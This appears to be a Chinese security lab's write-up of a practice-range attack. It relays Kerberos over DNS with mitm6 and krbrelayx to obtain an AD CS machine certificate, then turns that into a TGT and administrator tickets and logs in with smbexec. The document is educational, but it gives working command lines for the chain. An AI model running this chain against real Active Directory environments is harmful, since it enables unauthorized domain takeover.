想一起玩靶场的朋友可以进群哦,近期会开放线上靶场供大家玩耍!
简介
AD中的 DNS 支持使用 Kerberos 在 DNS 上进行身份验证用于使具有动态地址的网络客户端的 DNS 记录与其当前 IP 地址保持同步。如果我们能够拦截 DNS 查询,就有可能欺骗受害客户端向我们发送真实 DNS 服务器的 Kerberos 票证。这种拦截可以在默认的 Windows 配置中由同一 (V)LAN 中的任何系统使用mitm6 完成。mitm6 将自己宣传为 DNS 服务器,这意味着受害者将发送SOA到我们的假服务器,如果我们拒绝他们的动态更新,则使用 Kerberos 进行身份验证。通常 DNS 服务器角色将在域控制器上运行。因此,DNS 服务的服务票证已经适用于在 DC 上运行的服务,因为它们使用相同的帐户,我们可以更改票证中的服务名称。这意味着我们可以将此票证中继到例如 LDAP。但是,如果我们仔细查看 TKEY 查询中的身份验证器,我们会看到设置了请求完整性(签名)的标志。
攻击过程
环境
DC:192.168.21.2
域名:DC.rangenet.com
ADCS :192.168.21.3
域名:adcs.rangenet.com
win10域成员:192.168.21.4
域名:win10.rangenet.com
kali:192.168.21.10
DC搭建
选择一台winserver搭建adcs服务,这里是winserver2016。选择Active Directory 域服务,其他默认即可。
安装完成之后,提升为域控制器,开始配置域控。
添加新林rangenet.com,其他默认,然后一步步到安装。
ADCS搭建
选择一台winserver搭建adcs服务,这里是winserver2016。然后先将这台server加入到rangenet.com域中
重启之后,使用域控账号登录(因为要安装ADCS服务需要登陆账号属于Enterprise Admins组,为了方便这里使用域控账号登录)
下面正式开始安装ADCS服务,只需要注意下面截图的内容,其他都是默认。
服务器管理器–>添加角色和功能向导–>勾选服务器角色–>Active Director 证书服务
开始安装
配置ADCS服务,只需要注意下面截图的内容,其他都是默认。
访问http://localhost/certsrv出现登录框
输入系统账号即可进入,出现下面界面,表示安装成功。
Kerberos中继攻击
DNS添加
Kali中添加域控ip为dns
改完后ping一下域成员,能ping通即可
开始攻击
使用mitm6监听DHCPV6请求。
Mitm6 –domain rangenet.com –host-allowlistwin10.rangenet.com –relay adcs.rangenet.com -v
--domain 是要攻击的域名
--host-allowlist是过滤win10这台机器的请求
--relay是转发请求的地址,这里填adcs地址
使用krbrelays.py中继kerberos协议.
Pyhton3 krbrelayx.py –target http://adcs.rangenet.com/certsrv/-ip 192.168.21.10 –victim win10.rangenet.com –adcs –template Machine
--target 是adcs证书服务的url地址
-ip是当前ip(内网中控制的机器,这里把kali直接放在内网中了)
--victim是受害者域名
域成员重新获取DHCPV6
当win10成员机获取网络连接时会发出DHCPv6请求的包,以便mitm6可以接管DHCPv6请求。
Krbrelax.py成功中继到证书
证书太长,把证书复制到文件里方便后续使用。
TGT获取
接下来使用证书去向域控获取tgt,我们使用gettgtpkinit.py来模拟这个过程。
python gettgtpkinit.py -pfx-base64 一大串证书 rangenet.com/win10$ win10.ccache
报下面截图的错是因为时钟问题,DC的时间太落后了,调回正常时间即可。
下面成功获取到tgt票据
接下来请求管理员票据
python gets4uticket.py kerberos+ccache://rangenet.com\win10$:win10.ccache@DC主机名.rangenet.com cifs/win10.rangenet.com@rangenet.com [email protected]
DC主机名在mitm6处理的请求中可以找到
然后就可以使用管理员票据去登录机器了
KRB5CCNAME=admin.ccache python ../impacket/examples/smbexec.py-k rangenet.com/[email protected].com -no-pass
技术分析
域成员会在重启或者重新配置DNS时发起广播。
Kali告诉Win10:你需要进行DNS的请求
当win10继续对kali发起dns请求后,第一次将被拒绝掉。
因为身份被拒绝,Win10会向域控索取Ticket,拿到Ticket后再次向kali进行请求。允许执行DNS动态更新
通过Krbrelayx获取ticket之后,我们利用该ticket对AD CS进行授权请求。
通过发送KerberosTicket,可以进行证书申请。申请完成即可获得证书
获取到证书之后,我们可以使用rubeus或者pkinittools进行kerberos身份验证,使用smbclient可以列出目标主机资源
丈八网安蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案以及靶场仿真复现等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。
原文始发于微信公众号(蛇矛实验室):记一次靶场域场景之利用DNS中继Kerberos